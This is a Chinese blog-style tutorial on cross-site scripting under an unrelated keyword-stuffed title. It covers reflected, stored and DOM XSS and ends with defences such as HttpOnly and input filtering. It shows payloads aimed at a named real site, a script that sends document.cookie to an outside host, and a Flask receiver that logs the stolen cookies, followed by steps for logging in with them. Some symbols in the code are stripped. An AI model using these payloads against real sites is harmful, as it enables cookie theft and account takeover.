外贸网站怎么做比较好,张家界商城网站开发设计,wordpress修改首页模板,网站开发概要设计书模板本文获得作者授权刊发#xff0c;更多信息请关注作者专栏。 XSS攻击全称跨站脚本攻击#xff0c;是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆#xff0c;故将跨站脚本攻击缩写为XSS#xff0c;XSS是一种在web应用中的计算机安全漏洞#xff0c;它允许恶意… 本文获得作者授权刊发更多信息请关注作者专栏。 XSS攻击全称跨站脚本攻击是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆故将跨站脚本攻击缩写为XSSXSS是一种在web应用中的计算机安全漏洞它允许恶意web用户将代码植入到提供给其它用户使用的页面中。从而达到攻击的目的。如盗取用户Cookie、破坏页面结构、重定向到其它网站等。 XSS攻击案例 新浪微博遭受XX攻击 http://soft.yesky.com/security/156/30179156.shtml 人人网遭受XSS攻击 http://www.freebuf.com/articles/6295.html 简单的测试方法 所有提交数据的地方都有可能存在XSS可以用最简单脚本进行测试
scriptalert(“1”)/script XSS攻击类型 反射型 黑客构造一个包含XSS代码的URL服务器中没有这样的页面和内容诱导或等待用户去点击链接才能触发XSS代码达到劫持访问、获取cookies的目的。一般容易出现在搜索页面。 例如https://m.wuage.com/search/self-shop?memberId4lv8ll4gkeywordsx%22alert(1)%22psaM3.s10.0.j4 此漏洞已经修复请勿再测造成访问压力。 持久型 如果黑客可以将脚本代码通过发布内容如发论坛、博文、写留言等的方式发布后存储在服务端的数据库或者文件中成为某个url正常的页面的一部分所有访问这个页面的所有用户都是受害者看似正常的url则其页面已经包含了xss代码持久型XSS更具有隐蔽性带来的危害也更大 例如在页面中不容注意的地方加一段js脚本如下当页面被打开时页面会加载这段脚本加系统登录的cookies发送到远端hacker的手中。
script typetext/javascript srchttps://xss.xxx.com/hacker.js/script DOM型 DOM就是一个树状的模型你可以编写Javascript代码根据DOM一层一层的节点去遍历/获取/修改对应的节点对象值。dom xss并不复杂他也属于反射型xss的一种(domxss取决于输出位置并不取决于输出环境因此domxss既有可能是反射型的也有可能是存储型的)简单去理解就是因为他输出点在DOM所以在道哥的《白帽子讲Web安全里》也有详细介绍。xss代码可能是简短的插入script节点的语句载入来自第三方域的含有具体恶意代码的脚本。具体的恶意代码常见的行为是读取cookie构造例如一个img标签将其src属性指向恶意第三方网站将cookie的内容作为参数附在src的url上这样黑客就能在其网站上获得你的cookie信息这就是所谓的cookie劫持。 js获取浏览器的cookies 通过网络将cookies发送给远端的接https://xss.xxx.com/hacker.js收程序。
var img
document.createElement(img);
img.width 0;
img.height 0;
img.src
http://10.100.100.14:5000/?hackerencodeURIComponent(document.cookie); 接收端利用python flask写个非常简单的项目
from flask import Flask, requestapp Flask(__name__)app.route(/)def get_cookies():text request.args.get(hacker)with open(file_path, modea, encodingutf-8) as f:f.writelines(text \n)if __name__ __main__:app.run(host0.0.0.0, port5000, debugapp.debug, threadedTrue) 示例此漏洞已经修复请勿再测造成访问压力。 在www.wuage.com?fromtfbudao注册过后返回个人中心在公司名称完成XSS注入 在搜索页面https://s.wuage.com/product/search?fromtfbudao 选择一个公司点击讯问价格-勾选上同时发布到求购大厅此时就会收到源源不断的cookies信息。 获取cookies 修改cookies登录网站 进入用户的会员中心查看企业信息 XSS攻击防御 设置HttpOnly以避免cookie劫持的危险。 过滤对诸如
script、img、a 等标签进行过滤。 编码像一些常见的符号如在输入的时候要对其进行转换编码这样做浏览器是不会对该标签进行解释执行的同时也不影响显示效果。 限制通过以上的案例我们不难发现xss攻击要能达成往往需要较长的字符串因此对于一些可以预期的输入可以通过限制长度强制截断来进行防御。 更多干货请浏览 还在手调网络权限资深IT工程师都这样玩企业组网 利用500W条微博语料对评论进行情感分析
